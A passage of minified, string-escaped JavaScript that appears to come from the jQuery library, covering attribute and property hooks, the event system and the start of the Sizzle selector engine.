this.each(function(){if(c===\"string\"){var e,g=0,h=f(this),i=b,j=a.split(o);while(e=j[g++])i=d?i:!h.hasClass(e),h[i?\"addClass\":\"removeClass\"](e)}else if(c===\"undefined\"||c===\"boolean\")this.className\u0026\u0026f._data(this,\"__className__\",this.className),this.className=this.className||a===!1?\"\":f._data(this,\"__className__\")||\"\"})},hasClass:function(a){var b=\" \"+a+\" \";for(var c=0,d=this.length;c\u003cd;c++)if(this[c].nodeType===1\u0026\u0026(\" \"+this[c].className+\" \").replace(n,\" \").indexOf(b)\u003e-1)return!0;return!1},val:function(a){var c,d,e=this[0];if(!arguments.length){if(e){c=f.valHooks[e.nodeName.toLowerCase()]||f.valHooks[e.type];if(c\u0026\u0026\"get\"in c\u0026\u0026(d=c.get(e,\"value\"))!==b)return d;d=e.value;return typeof d==\"string\"?d.replace(p,\"\"):d==null?\"\":d}return b}var g=f.isFunction(a);return this.each(function(d){var e=f(this),h;if(this.nodeType===1){g?h=a.call(this,d,e.val()):h=a,h==null?h=\"\":typeof h==\"number\"?h+=\"\":f.isArray(h)\u0026\u0026(h=f.map(h,function(a){return a==null?\"\":a+\"\"})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!(\"set\"in c)||c.set(this,h,\"value\")===b)this.value=h}})}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c=a.selectedIndex,d=[],e=a.options,g=a.type===\"select-one\";if(c\u003c0)return null;for(var h=g?c:0,i=g?c+1:e.length;h\u003ci;h++){var j=e[h];if(j.selected\u0026\u0026(f.support.optDisabled?!j.disabled:j.getAttribute(\"disabled\")===null)\u0026\u0026(!j.parentNode.disabled||!f.nodeName(j.parentNode,\"optgroup\"))){b=f(j).val();if(g)return b;d.push(b)}}if(g\u0026\u0026!d.length\u0026\u0026e.length)return f(e[c]).val();return d},set:function(a,b){var c=f.makeArray(b);f(a).find(\"option\").each(function(){this.selected=f.inArray(f(this).val(),c)\u003e=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attrFix:{tabindex:\"tabIndex\"},attr:function(a,c,d,e){var g=a.nodeType;if(!a||g===3||g===8||g===2)return b;if(e\u0026\u0026c in f.attrFn)return f(a)[c](d);if(!(\"getAttribute\"in a))return f.prop(a,c,d);var h,i,j=g!==1||!f.isXMLDoc(a);j\u0026\u0026(c=f.attrFix[c]||c,i=f.attrHooks[c],i||(t.test(c)?i=v:u\u0026\u0026(i=u)));if(d!==b){if(d===null){f.removeAttr(a,c);return b}if(i\u0026\u0026\"set\"in i\u0026\u0026j\u0026\u0026(h=i.set(a,d,c))!==b)return h;a.setAttribute(c,\"\"+d);return d}if(i\u0026\u0026\"get\"in i\u0026\u0026j\u0026\u0026(h=i.get(a,c))!==null)return h;h=a.getAttribute(c);return h===null?b:h},removeAttr:function(a,b){var c;a.nodeType===1\u0026\u0026(b=f.attrFix[b]||b,f.attr(a,b,\"\"),a.removeAttribute(b),t.test(b)\u0026\u0026(c=f.propFix[b]||b)in a\u0026\u0026(a[c]=!1))},attrHooks:{type:{set:function(a,b){if(q.test(a.nodeName)\u0026\u0026a.parentNode)f.error(\"type property can't be changed\");else if(!f.support.radioValue\u0026\u0026b===\"radio\"\u0026\u0026f.nodeName(a,\"input\")){var c=a.value;a.setAttribute(\"type\",b),c\u0026\u0026(a.value=c);return b}}},value:{get:function(a,b){if(u\u0026\u0026f.nodeName(a,\"button\"))return u.get(a,b);return b in a?a.value:null},set:function(a,b,c){if(u\u0026\u0026f.nodeName(a,\"button\"))return u.set(a,b,c);a.value=b}}},propFix:{tabindex:\"tabIndex\",readonly:\"readOnly\",\"for\":\"htmlFor\",\"class\":\"className\",maxlength:\"maxLength\",cellspacing:\"cellSpacing\",cellpadding:\"cellPadding\",rowspan:\"rowSpan\",colspan:\"colSpan\",usemap:\"useMap\",frameborder:\"frameBorder\",contenteditable:\"contentEditable\"},prop:function(a,c,d){var e=a.nodeType;if(!a||e===3||e===8||e===2)return b;var g,h,i=e!==1||!f.isXMLDoc(a);i\u0026\u0026(c=f.propFix[c]||c,h=f.propHooks[c]);return d!==b?h\u0026\u0026\"set\"in h\u0026\u0026(g=h.set(a,d,c))!==b?g:a[c]=d:h\u0026\u0026\"get\"in h\u0026\u0026(g=h.get(a,c))!==null?g:a[c]},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode(\"tabindex\");return c\u0026\u0026c.specified?parseInt(c.value,10):r.test(a.nodeName)||s.test(a.nodeName)\u0026\u0026a.href?0:b}}}}),f.attrHooks.tabIndex=f.propHooks.tabIndex,v={get:function(a,c){var d;return f.prop(a,c)===!0||(d=a.getAttributeNode(c))\u0026\u0026d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a\u0026\u0026(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return c}},f.support.getSetAttribute||(u=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d\u0026\u0026d.nodeValue!==\"\"?d.nodeValue:b},set:function(a,b,d){var e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return e.nodeValue=b+\"\"}},f.each([\"width\",\"height\"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===\"\"){a.setAttribute(b,\"auto\");return c}}})})),f.support.hrefNormalized||f.each([\"href\",\"src\",\"width\",\"height\"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=\"\"+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b\u0026\u0026(b.selectedIndex,b.parentNode\u0026\u0026b.parentNode.selectedIndex);return null}})),f.support.checkOn||f.each([\"radio\",\"checkbox\"],function(){f.valHooks[this]={get:function(a){return a.getAttribute(\"value\")===null?\"on\":a.value}}}),f.each([\"radio\",\"checkbox\"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)\u003e=0}})});var w=/\\.(.*)$/,x=/^(?:textarea|input|select)$/i,y=/\\./g,z=/ /g,A=/[^\\w\\s.|`]/g,B=function(a){return a.replace(A,\"\\\\$\u0026\")};f.event={add:function(a,c,d,e){if(a.nodeType!==3\u0026\u0026a.nodeType!==8){if(d===!1)d=C;else if(!d)return;var g,h;d.handler\u0026\u0026(g=d,d=g.handler),d.guid||(d.guid=f.guid++);var i=f._data(a);if(!i)return;var j=i.events,k=i.handle;j||(i.events=j={}),k||(i.handle=k=function(a){return typeof f!=\"undefined\"\u0026\u0026(!a||f.event.triggered!==a.type)?f.event.handle.apply(k.elem,arguments):b}),k.elem=a,c=c.split(\" \");var l,m=0,n;while(l=c[m++]){h=g?f.extend({},g):{handler:d,data:e},l.indexOf(\".\")\u003e-1?(n=l.split(\".\"),l=n.shift(),h.namespace=n.slice(0).sort().join(\".\")):(n=[],h.namespace=\"\"),h.type=l,h.guid||(h.guid=d.guid);var o=j[l],p=f.event.special[l]||{};if(!o){o=j[l]=[];if(!p.setup||p.setup.call(a,e,n,k)===!1)a.addEventListener?a.addEventListener(l,k,!1):a.attachEvent\u0026\u0026a.attachEvent(\"on\"+l,k)}p.add\u0026\u0026(p.add.call(a,h),h.handler.guid||(h.handler.guid=d.guid)),o.push(h),f.event.global[l]=!0}a=null}},global:{},remove:function(a,c,d,e){if(a.nodeType!==3\u0026\u0026a.nodeType!==8){d===!1\u0026\u0026(d=C);var g,h,i,j,k=0,l,m,n,o,p,q,r,s=f.hasData(a)\u0026\u0026f._data(a),t=s\u0026\u0026s.events;if(!s||!t)return;c\u0026\u0026c.type\u0026\u0026(d=c.handler,c=c.type);if(!c||typeof c==\"string\"\u0026\u0026c.charAt(0)===\".\"){c=c||\"\";for(h in t)f.event.remove(a,h+c);return}c=c.split(\" \");while(h=c[k++]){r=h,q=null,l=h.indexOf(\".\")\u003c0,m=[],l||(m=h.split(\".\"),h=m.shift(),n=new RegExp(\"(^|\\\\.)\"+f.map(m.slice(0).sort(),B).join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\")),p=t[h];if(!p)continue;if(!d){for(j=0;j\u003cp.length;j++){q=p[j];if(l||n.test(q.namespace))f.event.remove(a,r,q.handler,j),p.splice(j--,1)}continue}o=f.event.special[h]||{};for(j=e||0;j\u003cp.length;j++){q=p[j];if(d.guid===q.guid){if(l||n.test(q.namespace))e==null\u0026\u0026p.splice(j--,1),o.remove\u0026\u0026o.remove.call(a,q);if(e!=null)break}}if(p.length===0||e!=null\u0026\u0026p.length===1)(!o.teardown||o.teardown.call(a,m)===!1)\u0026\u0026f.removeEvent(a,h,s.handle),g=null,delete \r\nt[h]}if(f.isEmptyObject(t)){var u=s.handle;u\u0026\u0026(u.elem=null),delete s.events,delete s.handle,f.isEmptyObject(s)\u0026\u0026f.removeData(a,b,!0)}}},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,e,g){var h=c.type||c,i=[],j;h.indexOf(\"!\")\u003e=0\u0026\u0026(h=h.slice(0,-1),j=!0),h.indexOf(\".\")\u003e=0\u0026\u0026(i=h.split(\".\"),h=i.shift(),i.sort());if(!!e\u0026\u0026!f.event.customEvent[h]||!!f.event.global[h]){c=typeof c==\"object\"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.exclusive=j,c.namespace=i.join(\".\"),c.namespace_re=new RegExp(\"(^|\\\\.)\"+i.join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\");if(g||!e)c.preventDefault(),c.stopPropagation();if(!e){f.each(f.cache,function(){var a=f.expando,b=this[a];b\u0026\u0026b.events\u0026\u0026b.events[h]\u0026\u0026f.event.trigger(c,d,b.handle.elem)});return}if(e.nodeType===3||e.nodeType===8)return;c.result=b,c.target=e,d=d!=null?f.makeArray(d):[],d.unshift(c);var k=e,l=h.indexOf(\":\")\u003c0?\"on\"+h:\"\";do{var m=f._data(k,\"handle\");c.currentTarget=k,m\u0026\u0026m.apply(k,d),l\u0026\u0026f.acceptData(k)\u0026\u0026k[l]\u0026\u0026k[l].apply(k,d)===!1\u0026\u0026(c.result=!1,c.preventDefault()),k=k.parentNode||k.ownerDocument||k===c.target.ownerDocument\u0026\u0026a}while(k\u0026\u0026!c.isPropagationStopped());if(!c.isDefaultPrevented()){var n,o=f.event.special[h]||{};if((!o._default||o._default.call(e.ownerDocument,c)===!1)\u0026\u0026(h!==\"click\"||!f.nodeName(e,\"a\"))\u0026\u0026f.acceptData(e)){try{l\u0026\u0026e[h]\u0026\u0026(n=e[l],n\u0026\u0026(e[l]=null),f.event.triggered=h,e[h]())}catch(p){}n\u0026\u0026(e[l]=n),f.event.triggered=b}}return c.result}},handle:function(c){c=f.event.fix(c||a.event);var d=((f._data(this,\"events\")||{})[c.type]||[]).slice(0),e=!c.exclusive\u0026\u0026!c.namespace,g=Array.prototype.slice.call(arguments,0);g[0]=c,c.currentTarget=this;for(var h=0,i=d.length;h\u003ci;h++){var j=d[h];if(e||c.namespace_re.test(j.namespace)){c.handler=j.handler,c.data=j.data,c.handleObj=j;var k=j.handler.apply(this,g);k!==b\u0026\u0026(c.result=k,k===!1\u0026\u0026(c.preventDefault(),c.stopPropagation()));if(c.isImmediatePropagationStopped())break}}return c.result},props:\"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which\".split(\" \"),fix:function(a){if(a[f.expando])return a;var d=a;a=f.Event(d);for(var e=this.props.length,g;e;)g=this.props[--e],a[g]=d[g];a.target||(a.target=a.srcElement||c),a.target.nodeType===3\u0026\u0026(a.target=a.target.parentNode),!a.relatedTarget\u0026\u0026a.fromElement\u0026\u0026(a.relatedTarget=a.fromElement===a.target?a.toElement:a.fromElement);if(a.pageX==null\u0026\u0026a.clientX!=null){var h=a.target.ownerDocument||c,i=h.documentElement,j=h.body;a.pageX=a.clientX+(i\u0026\u0026i.scrollLeft||j\u0026\u0026j.scrollLeft||0)-(i\u0026\u0026i.clientLeft||j\u0026\u0026j.clientLeft||0),a.pageY=a.clientY+(i\u0026\u0026i.scrollTop||j\u0026\u0026j.scrollTop||0)-(i\u0026\u0026i.clientTop||j\u0026\u0026j.clientTop||0)}a.which==null\u0026\u0026(a.charCode!=null||a.keyCode!=null)\u0026\u0026(a.which=a.charCode!=null?a.charCode:a.keyCode),!a.metaKey\u0026\u0026a.ctrlKey\u0026\u0026(a.metaKey=a.ctrlKey),!a.which\u0026\u0026a.button!==b\u0026\u0026(a.which=a.button\u00261?1:a.button\u00262?3:a.button\u00264?2:0);return a},guid:1e8,proxy:f.proxy,special:{ready:{setup:f.bindReady,teardown:f.noop},live:{add:function(a){f.event.add(this,M(a.origType,a.selector),f.extend({},a,{handler:L,guid:a.handler.guid}))},remove:function(a){f.event.remove(this,M(a.origType,a.selector),a)}},beforeunload:{setup:function(a,b,c){f.isWindow(this)\u0026\u0026(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b\u0026\u0026(this.onbeforeunload=null)}}}},f.removeEvent=c.removeEventListener?function(a,b,c){a.removeEventListener\u0026\u0026a.removeEventListener(b,c,!1)}:function(a,b,c){a.detachEvent\u0026\u0026a.detachEvent(\"on\"+b,c)},f.Event=function(a,b){if(!this.preventDefault)return new f.Event(a,b);a\u0026\u0026a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault\u0026\u0026a.getPreventDefault()?D:C):this.type=a,b\u0026\u0026f.extend(this,b),this.timeStamp=f.now(),this[f.expando]=!0},f.Event.prototype={preventDefault:function(){this.isDefaultPrevented=D;var a=this.originalEvent;!a||(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){this.isPropagationStopped=D;var a=this.originalEvent;!a||(a.stopPropagation\u0026\u0026a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=D,this.stopPropagation()},isDefaultPrevented:C,isPropagationStopped:C,isImmediatePropagationStopped:C};var E=function(a){var b=a.relatedTarget,c=!1,d=a.type;a.type=a.data,b!==this\u0026\u0026(b\u0026\u0026(c=f.contains(this,b)),c||(f.event.handle.apply(this,arguments),a.type=d))},F=function(a){a.type=a.data,f.event.handle.apply(this,arguments)};f.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\"},function(a,b){f.event.special[a]={setup:function(c){f.event.add(this,b,c\u0026\u0026c.selector?F:E,a)},teardown:function(a){f.event.remove(this,b,a\u0026\u0026a.selector?F:E)}}}),f.support.submitBubbles||(f.event.special.submit={setup:function(a,b){if(!f.nodeName(this,\"form\"))f.event.add(this,\"click.specialSubmit\",function(a){var b=a.target,c=f.nodeName(b,\"input\")||f.nodeName(b,\"button\")?b.type:\"\";(c===\"submit\"||c===\"image\")\u0026\u0026f(b).closest(\"form\").length\u0026\u0026J(\"submit\",this,arguments)}),f.event.add(this,\"keypress.specialSubmit\",function(a){var b=a.target,c=f.nodeName(b,\"input\")||f.nodeName(b,\"button\")?b.type:\"\";(c===\"text\"||c===\"password\")\u0026\u0026f(b).closest(\"form\").length\u0026\u0026a.keyCode===13\u0026\u0026J(\"submit\",this,arguments)});else return!1},teardown:function(a){f.event.remove(this,\".specialSubmit\")}});if(!f.support.changeBubbles){var G,H=function(a){var b=f.nodeName(a,\"input\")?a.type:\"\",c=a.value;b===\"radio\"||b===\"checkbox\"?c=a.checked:b===\"select-multiple\"?c=a.selectedIndex\u003e-1?f.map(a.options,function(a){return a.selected}).join(\"-\"):\"\":f.nodeName(a,\"select\")\u0026\u0026(c=a.selectedIndex);return c},I=function(c){var d=c.target,e,g;if(!!x.test(d.nodeName)\u0026\u0026!d.readOnly){e=f._data(d,\"_change_data\"),g=H(d),(c.type!==\"focusout\"||d.type!==\"radio\")\u0026\u0026f._data(d,\"_change_data\",g);if(e===b||g===e)return;if(e!=null||g)c.type=\"change\",c.liveFired=b,f.event.trigger(c,arguments[1],d)}};f.event.special.change={filters:{focusout:I,beforedeactivate:I,click:function(a){var b=a.target,c=f.nodeName(b,\"input\")?b.type:\"\";(c===\"radio\"||c===\"checkbox\"||f.nodeName(b,\"select\"))\u0026\u0026I.call(this,a)},keydown:function(a){var b=a.target,c=f.nodeName(b,\"input\")?b.type:\"\";(a.keyCode===13\u0026\u0026!f.nodeName(b,\"textarea\")||a.keyCode===32\u0026\u0026(c===\"checkbox\"||c===\"radio\")||c===\"select-multiple\")\u0026\u0026I.call(this,a)},beforeactivate:function(a){var b=a.target;f._data(b,\"_change_data\",H(b))}},setup:function(a,b){if(this.type===\"file\")return!1;for(var c in G)f.event.add(this,c+\".specialChange\",G[c]);return x.test(this.nodeName)},teardown:function(a){f.event.remove(this,\".specialChange\");return x.test(this.nodeName)}},G=f.event.special.change.filters,G.focus=G.beforeactivate}f.support.focusinBubbles||f.each({focus:\"focusin\",blur:\"focusout\"},function(a,b){function e(a){var c=f.event.fix(a);c.type=b,c.originalEvent={},f.event.trigger(c,null,c.target),c.isDefaultPrevented()\u0026\u0026a.preventDefault()}var d=0;f.event.special[b]={setup:function(){d++===0\u0026\u0026c.addEventListener(a,e,!0)},teardown:function(){--d===0\u0026\u0026c.removeEventListener(a,e,!0)}}}),f.each([\"bind\",\"one\"],function(a,c){f.fn[c]=function(a,d,e){var g;if(typeof a==\"object\"){for(var h in a)this[c](h,d,a[h],e);return this}if(arguments.length===2||d===!1)e=d,d=b;c===\"one\"?(g=function(a){f(this).unbind(a,g);return e.apply(this,arguments)},g.guid=e.guid||f.guid++):g=e;if(a===\"unload\"\u0026\u0026c!==\"one\")this.one(a,d,e);else for(var i=0,j=this.length;i\u003cj;i++)f.event.add(this[i],a,g,d);return this}}),f.fn.extend({unbind:function(a,b){if(typeof a==\"object\"\u0026\u0026!a.preventDefault)for(var c in a)this.unbind(c,a[c]);else for(var d=0,e=this.length;d\u003ce;d++)f.event.remove(this[d],a,b);return this},delegate:function(a,b,c,d){return this.live(b,c,d,a)},undelegate:function(a,b,c){return arguments.length===0?this.unbind(\"live\"):this.die(b,null,c,a)},trigger:function(a,b){return this.each(function(){f.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return f.event.trigger(a,b,this[0],!0)},toggle:function(a){var b=arguments,c=a.guid||f.guid++,d=0,e=function(c){var e=(f.data(this,\"lastToggle\"+a.guid)||0)%d;f.data(this,\"lastToggle\"+a.guid,e+1),c.preventDefault();return b[e].apply(this,arguments)||!1};e.guid=c;while(d\u003cb.length)b[d++].guid=c;return this.click(e)},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});var K={focus:\"focusin\",blur:\"focusout\",mouseenter:\"mouseover\",mouseleave:\"mouseout\"};f.each([\"live\",\"die\"],function(a,c){f.fn[c]=function(a,d,e,g){var h,i=0,j,k,l,m=g||this.selector,n=g?this:f(this.context);if(typeof a==\"object\"\u0026\u0026!a.preventDefault){for(var o in a)n[c](o,d,a[o],m);return this}if(c===\"die\"\u0026\u0026!a\u0026\u0026g\u0026\u0026g.charAt(0)===\".\"){n.unbind(g);return this}if(d===!1||f.isFunction(d))e=d||C,d=b;a=(a||\"\").split(\" \");while((h=a[i++])!=null){j=w.exec(h),k=\"\",j\u0026\u0026(k=j[0],h=h.replace(w,\"\"));if(h===\"hover\"){a.push(\"mouseenter\"+k,\"mouseleave\"+k);continue}l=h,K[h]?(a.push(K[h]+k),h=h+k):h=(K[h]||h)+k;if(c===\"live\")for(var p=0,q=n.length;p\u003cq;p++)f.event.add(n[p],\"live.\"+M(h,m),{data:d,selector:m,handler:e,origType:h,origHandler:e,preType:l});else n.unbind(\"live.\"+M(h,m),e)}return this}}),f.each(\"blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error\".split(\" \"),function(a,b){f.fn[b]=function(a,c){c==null\u0026\u0026(c=a,a=null);return arguments.length\u003e0?this.bind(b,a,c):this.trigger(b)},f.attrFn\u0026\u0026(f.attrFn[b]=!0)}),function(){function u(a,b,c,d,e,f){for(var g=0,h=d.length;g\u003ch;g++){var i=d[g];if(i){var j=!1;i=i[a];while(i){if(i.sizcache===c){j=d[i.sizset];break}if(i.nodeType===1){f||(i.sizcache=c,i.sizset=g);if(typeof b!=\"string\"){if(i===b){j=!0;break}}else if(k.filter(b,[i]).length\u003e0){j=i;break}}i=i[a]}d[g]=j}}}function t(a,b,c,d,e,f){for(var g=0,h=d.length;g\u003ch;g++){var i=d[g];if(i){var j=!1;i=i[a];while(i){if(i.sizcache===c){j=d[i.sizset];break}i.nodeType===1\u0026\u0026!f\u0026\u0026(i.sizcache=c,i.sizset=g);if(i.nodeName.toLowerCase()===b){j=i;break}i=i[a]}d[g]=j}}}var a=/((?:\\((?:\\([^()]+\\)|[^()]+)+\\)|\\[(?:\\[[^\\[\\]]*\\]|['\"][^'\"]*['\"]|[^\\[\\]'\"]+)+\\]|\\\\.|[^ \u003e+~,(\\[\\\\]+)+|[\u003e+~])(\\s*,\\s*)?((?:.|\\r|\\n)*)/g,d=0,e=Object.prototype.toString,g=!1,h=!0,i=/\\\\/g,j=/\\W/;[0,0].sort(function(){h=!1;return 0});var k=function(b,d,f,g){f=f||[],d=d||c;var h=d;if(d.nodeType!==1\u0026\u0026d.nodeType!==9)return[];if(!b||typeof b!=\"string\")return f;var i,j,n,o,q,r,s,t,u=!0,w=k.isXML(d),x=[],y=b;do{a.exec(\"\"),i=a.exec(y);if(i){y=i[3],x.push(i[1]);if(i[2]){o=i[3];break}}}while(i);if(x.length\u003e1\u0026\u0026m.exec(b))if(x.length===2\u0026\u0026l.relative[x[0]])j=v(x[0]+x[1],d);else{j=l.relative[x[0]]?[d]:k(x.shift(),d);while(x.length)b=x.shift(),l.relative[b]\u0026\u0026(b+=x.shift()),j=v(b,j)}else{!g\u0026\u0026x.length\u003e1\u0026\u0026d.nodeType===9\u0026\u0026!w\u0026\u0026l.match.ID.test(x[0])\u0026\u0026!l.match.ID.test(x[x.length-1])\u0026\u0026(q=k.find(x.shift(),d,w),d=q.expr?k.filter(q.expr,q.set)[0]:q.set[0]);if(d){q=g?{expr:x.pop(),set:p(g)}:k.find(x.pop(),x.length===1\u0026\u0026(x[0]===\"~\"||x[0]===\"+\")\u0026\u0026d.parentNode?d.parentNode:d,w),j=q.expr?k.filter(q.expr,q.set):q.set,x.length\u003e0?n=p(j):u=!1;while(x.length)r=x.pop(),s=r,l.relative[r]?s=x.pop():r=\"\",s==null\u0026\u0026(s=d),l.relative[r](n,s,w)}else n=x=[]}n||(n=j),n||k.error(r||b);if(e.call(n)===\"[object Array]\")if(!u)f.push.apply(f,n);else if(d\u0026\u0026d.nodeType===1)for(t=0;n[t]!=null;t++)n[t]\u0026\u0026(n[t]===!0||n[t].nodeType===1\u0026\u0026k.contains(d,n[t]))\u0026\u0026f.push(j[t]);else for(t=0;n[t]!=null;t++)n[t]\u0026\u0026n[t].nodeType===1\u0026\u0026f.push(j[t]);else p(n,f);o\u0026\u0026(k(o,h,f,g),k.uniqueSort(f));return f};k.uniqueSort=function(a){if(r){g=h,a.sort(r);if(g)for(var b=1;b\u003ca.length;b++)a[b]===a[b-1]\u0026\u0026a.splice(b--,1)}return a},k.matches=function(a,b){return k(a,null,null,b)},k.matchesSelector=function(a,b){return k(b,null,null,[a]).length\u003e0},k.find=function(a,b,c){var d;if(!a)return[];for(var e=0,f=l.order.length;e\u003cf;e++){var g,h=l.order[e];if(g=l.leftMatch[h].exec(a)){var j=g[1];g.splice(1,1);if(j.substr(j.length-1)!==\"\\\\\"){g[1]=(g[1]||\"\").replace(i,\"\"),d=l.find[h](g,b,c);if(d!=null){a=a.replace(l.match[h],\"\");break}}}}d||(d=typeof b.getElementsByTagName!=\"undefined\"?b.getElementsByTagName(\"*\"):[]);return{set:d,expr:a}},k.filter=function(a,c,d,e){var f,g,h=a,i=[],j=c,m=c\u0026\u0026c[0]\u0026\u0026k.isXML(c[0]);while(a\u0026\u0026c.length){for(var n in l.filter)if((f=l.leftMatch[n].exec(a))!=null\u0026\u0026f[2]){var o,p,q=l.filter[n],r=f[1];g=!1,f.splice(1,1);if(r.substr(r.length-1)===\"\\\\\")continue;j===i\u0026\u0026(i=[]);if(l.preFilter[n]){f=l.preFilter[n](f,j,d,i,e,m);if(!f)g=o=!0;else if(f===!0)continue}if(f)for(var s=0;(p=j[s])!=null;s++)if(p){o=q(p,f,s,j);var t=e^!!o;d\u0026\u0026o!=null?t?g=!0:j[s]=!1:t\u0026\u0026(i.push(p),g=!0)}if(o!==b){d||(j=i),a=a.replace(l.match[n],\"\");if(!g)return[];break}}if(a===h)if(g==null)k.error(a);else break;h=a}return j},k.error=function(a){throw\"Syntax error, unrecognized expression: \"+a};var l=k.selectors={order:[\"ID\",\"NAME\",\"TAG\"],match:{ID:/#((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,CLASS:/\\.((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,NAME:/\\[name=['\"]*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)['\"]*\\]/,ATTR:/\\[\\s*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)\\s*(?:(\\S?=)\\s*(?:(['\"])(.*?)\\3|(#?(?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)*)|)|)\\s*\\]/,TAG:/^((?:[\\w\\u00c0-\\uFFFF\\*\\-]|\\\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\\(\\s*(even|odd|(?:[+\\-]?\\d+|(?:[+\\-]?\\d*)?n\\s*(?:[+\\-]\\s*\\d+)?))\\s*\\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\\((\\d*)\\))?(?=[^\\-]|$)/,PSEUDO:/:((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)(?:\\((['\"]?)((?:\\([^\\)]+\\)|[^\\(\\)]*)+)\\2\\))?/},leftMatch:{},attrMap:{\"class\":\"className\",\"for\":\"htmlFor\"},attrHandle:{href:function(a){return a.getAttribute(\"href\")},type:function(a){return a.getAttribute(\"type\")}},relative:{\"+\":function(a,b){var c=typeof b==\"string\",d=c\u0026\u0026!j.test(b),e=c\u0026\u0026!d;d\u0026\u0026(b=b.toLowerCase());for(var f=0,g=a.length,h;f\u003cg;f++)if(h=a[f]){while((h=h.previousSibling)\u0026\u0026h.nodeType!==1);a[f]=e||h\u0026\u0026h.nodeName.toLowerCase()===b?h||!1:h===b}e\u0026\u0026k.filter(b,a,!0)},\"\u003e\":function(a,b){var c,d=typeof b==\"string\",e=0,f=a.length;if(d\u0026\u0026!j.test(b)){b=b.toLowerCase();for(;e\u003cf;e++){c=a[e];if(c){var g=c.parentNode;a[e]=g.nodeName.toLowerCase()===b?g:!1}}}else{for(;e\u003cf;e++)c=a[e],c\u0026\u0026(a[e]=d?c.parentNode:c.parentNode===b);d\u0026\u0026k.filter(b,a,!0)}},\"\":function(a,b,c){var e,f=d++,g=u;typeof b==\"string\"\u0026\u0026!j.test(b)\u0026\u0026(b=b.toLowerCase(),e=b,g=t),g(\"parentNode\",b,f,a,e,c)},\"~\":function(a,b,c){var e,f=d++,g=u;typeof b==\"string\"\u0026\u0026!j.test(b)\u0026\u0026(b=b.toLowerCase(),e=b,g=t),g(\"previousSibling\",b,f,a,e,c)}},find:{ID:function(a,b,c){if(typeof b.getElementById!=\"undefined\"\u0026\u0026!c){var d=b.getElementById(a[1]);return d\u0026\u0026d.parentNode?[d]:[]}},NAME:function(a,b){if(typeof b.getElementsByName!=\"undefined\"){var c=[],d=b.getElementsByName(a[1]);for(var e=0,f=d.length;e\u003cf;e++)d[e].getAttribute(\"name\")===a[1]\u0026\u0026c.push(d[e]);return c.length===0?null:c}},TAG:function(a,b){if(typeof b.getElementsByTagName!=\"undefined\")return b.getElementsByTagName(a[1])}},preFilter:{CLASS:function(a,b,c,d,e,f){a=\" \"+a[1].replace(i,\"\")+\" \";if(f)return a;for(var g=0,h;(h=b[g])!=null;g++)h\u0026\u0026(e^(h.className\u0026\u0026(\" \"+h.className+\" \").replace(/[\\t\\n\\r]/g,\" \").indexOf(a)\u003e=0)?c||d.push(h):c\u0026\u0026(b[g]=!1));return!1},ID:function(a){return a[1].replace(i,\"\")},TAG:function(a,b){return a[1].replace(i,\"\").toLowerCase()},CHILD:function(a){if(a[1]===\"nth\"){a[2]||k.error(a[0]),a[2]=a[2].replace(/^\\+|\\s*/g,\"\");var b=/(-?)(\\d*)(?:n([+\\-]?\\d*))?/.exec(a[2]===\"even\"\u0026\u0026\"2n\"||a[2]===\"odd\"\u0026\u0026\"2n+1\"||!/\\D/.test(a[2])\u0026\u0026\"0n+\"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]\u0026\u0026k.error(a[0]);a[0]=d++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(i,\"\");!f\u0026\u0026l.attrMap[g]\u0026\u0026(a[1]=l.attrMap[g]),a[4]=(a[4]||a[5]||\"\").replace(i,\"\"),a[2]===\"~=\"\u0026\u0026(a[4]=\" \"+a[4]+\" \");return 